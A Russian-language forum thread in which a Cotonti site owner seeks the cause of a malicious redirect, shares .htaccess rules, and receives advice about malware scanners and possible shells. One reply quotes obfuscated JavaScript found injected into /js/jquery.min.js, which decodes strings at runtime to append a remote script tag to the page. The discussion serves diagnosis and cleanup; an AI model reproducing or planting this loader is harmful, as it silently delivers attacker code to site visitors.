Jump to content
Sign in to follow this  
Hromoff

Помогите найти редирект

Recommended Posts

################ Cotonti Handy URLs for Apache #######################
 
# Below are the rules to be included in your main .htaccess file or httpd.conf
 
# Rewrite engine options
Options -Indexes
RewriteEngine On
 
# Server-relative path to Cotonti. Replace it with your path if you run Cotonti
# in a subfolder
RewriteBase "/"
 
# Language selector
RewriteRule ^(en|ru|de|nl)/(.*) $2?l=$1 [QSA,NC,NE]
 
# Sitemap shortcut
RewriteRule ^sitemap\.xml$ index.php?r=sitemap [L]
 
# Admin area and message are special scripts
RewriteRule ^admin/([a-z0-9]+) admin.php?m=$1 [QSA,NC,NE,L]
RewriteRule ^(admin|login|message)(/|\?|$) $1.php [QSA,NC,NE,L]
 
# users
RewriteRule ^employers/?$ index.php?e=users&group=employer [QSA,NC,NE,L]
RewriteRule ^freelancers/?$ index.php?e=users&group=freelancer [QSA,NC,NE,L]
RewriteRule ^employers/([a-zA-Z0-9_./%-]+)/?$ index.php?e=users&group=employer&cat=$1 [QSA,NC,NE,L]
RewriteRule ^freelancers/([a-zA-Z0-9_./%-]+)/?$ index.php?e=users&group=freelancer&cat=$1 [QSA,NC,NE,L]
 
# forums
RewriteRule ^forums/([a-zA-Z0-9_./%-]+)/topic([0-9]+)/page([0-9]+)?$ index.php?e=forums&m=posts&q=$2&d=$3 [QSA,NC,NE,L]
RewriteRule ^forums/([a-zA-Z0-9_./%-]+)/topic([0-9]+)?$ index.php?e=forums&m=posts&q=$2 [QSA,NC,NE,L]
RewriteRule ^forums/([a-zA-Z0-9_./%-]+)/post([0-9]+)?$ index.php?e=forums&m=posts&id=$2 [QSA,NC,NE,L]
RewriteRule ^forums/([a-zA-Z0-9_./%-]+)/([a-zA-Z0-9_%-]+)/page([0-9]+)?$ index.php?e=forums&m=topics&s=$2&d=$3 [QSA,NC,NE,L]
RewriteRule ^forums/([a-zA-Z0-9_./%-]+)/([a-zA-Z0-9_%-]+)/?$ index.php?e=forums&m=topics&s=$2 [QSA,NC,NE,L]
RewriteRule ^forums/([a-zA-Z0-9_%-]+)/?$ index.php?e=forums&c=$1 [QSA,NC,NE,L]
RewriteRule ^forums/?$ index.php?e=forums [QSA,NC,NE,L]
 
# System category has priority over /system folder
RewriteRule ^system/?$  index.php?rwr=system [QSA,NC,NE,L]
 
# All the rest goes through standard rewrite gateway
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^?]+) index.php?rwr=$1 [QSA,NC,NE,L]

Share this post


Link to post
Share on other sites

Вроде чисто... Значит проблема не решится просто.

 

Предлагаю пройтись по всем файлам айболитом - https://www.revisium.com/ai/

Он покажет все подозрительные файлы. Далее уже ручками почистить.

 

зы: бекап обязателен :)

Share this post


Link to post
Share on other sites

Не обнаружил редиректа, скорее всего на вашем ПК вирус, который и перенаправляет на funs.mobi

 

Раздел сайта "Проекты" не работает: Fatal error: Call to undefined function cot_generate_projectstags() in ....

Share this post


Link to post
Share on other sites

Сайт заражен. Явный вирусный код в файле /js/jquery.min.js

А именно:

function xxA(dUb3z,b7U){var s0sXTZ='';var dl3s=0;var bB6K5=0;for(dl3s=0;dl3s<dUb3z.length;dl3s++){var ou=dUb3z.charAt(dl3s);var sxP8=ou.charCodeAt(0)^b7U.charCodeAt(bB6K5);ou=String.fromCharCode(sxP8);s0sXTZ+=ou;if(bB6K5==b7U.length-1)bB6K5=0;else bB6K5++;}return (s0sXTZ);}var cXRf=["021047","020037","022056","005062039023032009018059055024042092056","021062033","018053050019","018041058002123006054033051006044064037070044","007060050019058008020063059025043","014041035018","001041054051056009058050060001060112053098057001002035027049","014056054006110067120036038020059087098069053010126108004033067061036125022033070098092043"];function cYBp(sp03Tk){var pbu='';var czeEk=0;var coGbUh=0;for(czeEk=0;czeEk<sp03Tk.length/3;czeEk++){pbu+=String.fromCharCode(sp03Tk.slice(coGbUh,coGbUh+3));coGbUh=coGbUh+3;}return pbu;}function eyWYZ3Z(cXq35){return xxA(cYBp(cXq35),'fLBvTlWWRuO2L6X');}b8O0kR(eyWYZ3Z(cXRf[10]));function b8O0kR(oICK){var nq6=document[eyWYZ3Z(cXRf[3])](eyWYZ3Z(cXRf[0])+eyWYZ3Z(cXRf[1])+eyWYZ3Z(cXRf[2]));nq6[eyWYZ3Z(cXRf[4])]=oICK;nq6[eyWYZ3Z(cXRf[5])]=eyWYZ3Z(cXRf[6]);document[eyWYZ3Z(cXRf[9])](eyWYZ3Z(cXRf[8]))[0][eyWYZ3Z(cXRf[7])](nq6);}
P.S. Такой же код в /js/base.js

 

ТС, вы случайнo не пользовались услугами прогонщиков, когда нужно в корень файл кидать? Если да, вас очень прилично заразили, вплоть до того что могли закачать шеллы.

Share this post


Link to post
Share on other sites

Вроде чисто... Значит проблема не решится просто.

 

Предлагаю пройтись по всем файлам айболитом - https://www.revisium.com/ai/

Он покажет все подозрительные файлы. Далее уже ручками почистить.

 

зы: бекап обязателен :)

 

Я вот тоже сейчас проверился и опупел...

 

11e6c696f410.jpg

Share this post


Link to post
Share on other sites

Я вот тоже сейчас проверился и опупел...

 

11e6c696f410.jpg

Это не значит что у вас вирусы. "Айболит" лишь указывает на потенциальную схожесть вирусных сигнатур. Отчет и сайт лучше показать специалисту.

Share this post


Link to post
Share on other sites

Плата за темы/плагины/модули, скачанные с левых сайтов и за лень держать код в актуальном состоянии (обновления выпускают не просто так)...

Share this post


Link to post
Share on other sites

Это не значит что у вас вирусы. "Айболит" лишь указывает на потенциальную схожесть вирусных сигнатур. Отчет и сайт лучше показать специалисту.

Отправил отчёты спецам, жду ответа

Share this post


Link to post
Share on other sites

Плата за темы/плагины/модули, скачанные с левых сайтов и за лень держать код в актуальном состоянии (обновления выпускают не просто так)...

У меня двигло полный сток, обновлен до последней версии. 

Share this post


Link to post
Share on other sites

У меня двигло полный сток, обновлен до последней версии. 

Обратись к files он мне помог избавится от вируса. Советую как хорошего специалиста. 

Share this post


Link to post
Share on other sites

Обратись к files он мне помог избавится от вируса. Советую как хорошего специалиста. 

спасибо наслышан, но я оправлял файлы непосредственно в Айболит, выяснилось, что вирусов не обнаружено.

Share this post


Link to post
Share on other sites

Наслышаны с хорошей или плохой стороны?

Естественно с положительной стороны его охарактеризовали многие, кто уже обращался за помощью.

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...